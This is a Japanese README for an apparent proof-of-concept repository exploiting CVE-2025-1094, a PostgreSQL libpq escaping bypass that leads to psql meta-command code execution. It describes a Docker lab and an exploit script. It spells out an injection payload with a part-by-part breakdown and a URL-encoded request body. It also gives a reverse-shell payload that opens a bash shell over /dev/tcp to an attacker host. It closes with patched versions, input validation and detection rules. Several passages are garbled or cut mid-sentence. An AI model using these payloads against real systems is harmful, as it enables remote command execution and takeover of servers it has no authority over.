
CVE-2025-1094 の概念実証エクスプロイト。libpq エスケープバイパスを介して RCE につながる PostgreSQL psql SQL インジェクション。Docker 環境、エクスプロイトスクリプト、および緩和ガイダンスが含まれます。
Proof of Concept — PostgreSQL クライアント libpq と psql ツールにおける深刻な SQL インジェクション脆弱性
CVE-2025-1094 は、PostgreSQL のクライアントライブラリ libpq とコマンドラインツール psql に存在する深刻な脆弱性です。この脆弱性により、攻撃者は SQL インジェクションを実行し、アプリケーションが PQescapeLiteral などの標準的な文字列エスケープ関数を使用していた場合でも、リモートコード実行(RCE)に昇格させることができます。
この問題は、エスケープライブラリと psql のパーサーとの間で、不正なマルチバイト(UTF-8 など)バイト列の処理に一貫性がないことに起因します。
1. エスケープのバイパス
PQescapeLiteral 関数は「新しいバイト」(例: 0xC0)に騙される。')を 1 つの文字として扱う。2. メタコマンドによる RCE
\! を使用できる。このプロジェクトは、C 言語の libpq 関数を呼び出す実際の環境をシミュレートするように構成されています:
.
├── docker-compose.yml # PostgreSQL + Web アプリを起動
├── exolit.py # エクスプロイトスクリプト - 外部からの攻撃
├── README.md # 本書
└── app/
├── app.py # Flask Web アプリ - ユーザー入力を受け付ける
├── Dockerfile # 脆弱性のあるコードを含むイメージをビルド
└── init_db.sql # データベースを初期化
/search エンドポイント経由でユーザーからの入力を受け取る\! によるシステムコマンドの実行を可能にするhax\xc0'; \! id; #
| 構成要素 | 値 | 意味 |
|---|---|---|
| データ入力 | hax | 通常のデータ |
| 新しいバイト | \xc0 | 不正な UTF-8 バイト - エスケープをバイパス |
| 引用符 | ' | 単一引用符「不可視」 - フィルターをすり抜ける |
| SQL 文の終端 | ; | 現在の SQL 文を終了する |
| メタコマンド | \! | psql の特別なコマンド - OS シェルへ脱出する |
| シェルコマンド | id | 実行するコマンド(リバースシェルに置き換え可能) |
| コメント | # | SQL コメント記号 - 余分な部分を無効化する |
1. ユーザー入力: hax\xc0'; \! id; #
↓
2. PQescapeLiteral() は \xc0 + ' を攻撃として認識しない
↓
3. 文字列が psql に送信される: hax\xc0'; \! id; #
↓
4. psql が解析: \xc0 の部分が文字列の終端として扱われる
↓
5. メタコマンド \! が起動される
↓
6. シェルコマンド id がコンテナの権限で実行される
docker-compose up -d
docker-compose ps
PostgreSQL と Flask アプリの両方が実行されていることを確認してください。
python exolit.py
期待される結果: サーバーから取得した uid=0(root) の情報が表示されます。
docker-compose down
以下のボディで /search に POST リクエストを送信します:
name=hax%c0%27;+\!+id+;+%23
%c0 = \xc0(不正な UTF-8 バイト)%27 = '(単一引用符)%23 = #(ハッシュ記号)+ = スペースhax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<ip-hacker>/<port-hacker>+0>%261"+;+%23
注意: <ip-hacker> と <port-hacker> を攻撃者のマシンの IP とポートに置き換えてください。
PostgreSQL をパッチ適用済みのバージョンにアップグレードします:
| Version | 安全なバージョン |
|---|---|
| 17.x | ≥ 17.3 |
| 16.x | ≥ 16.7 |
| 15.x | ≥ 15.11 |
| 14.x | ≥ 14.16 |
| 13.x | ≥ 13.19 |
処理する前に、入力データが有効な UTF-8 であるかどうかを常に検証してください:
def validate_utf8(data):
try:
data.encode('utf-8').decode('utf-8')
return True
except UnicodeDecodeError:
return False
アプリケーション開発では、公式のドライバライブラリを使用してください:
# ❌ ダメ: subprocess + psql を使用
subprocess.run(['psql', '-c', user_input])
# ✅ 良い: psycopg2 でパラメータ化クエリを使用
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))
root 権限で実行しないroot 権限で実行しないパターンを検出するルールを設定します:
- リクエストボディ内のバイト 0xC0、0xC1
- ユーザー入力内のメタコマンド `\!`
- `; \!` または `' \!` のような文字列
ソースコードファイルへのリンク(パッチ適用前) 脆弱性が残っているバージョン 17.2 のファイル src/interfaces/libpq/fe-exec.c を確認できます:
「パッチ」を確認する(The Patch)- ホワイトボックス分析に最も重要 なぜ脆弱性が発生したのか、どのように修正されたのかを理解するには、コミット差分(脆弱なバージョンと修正版の間の変更)を確認するのが最良の方法です。
脆弱性の分析記事: https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/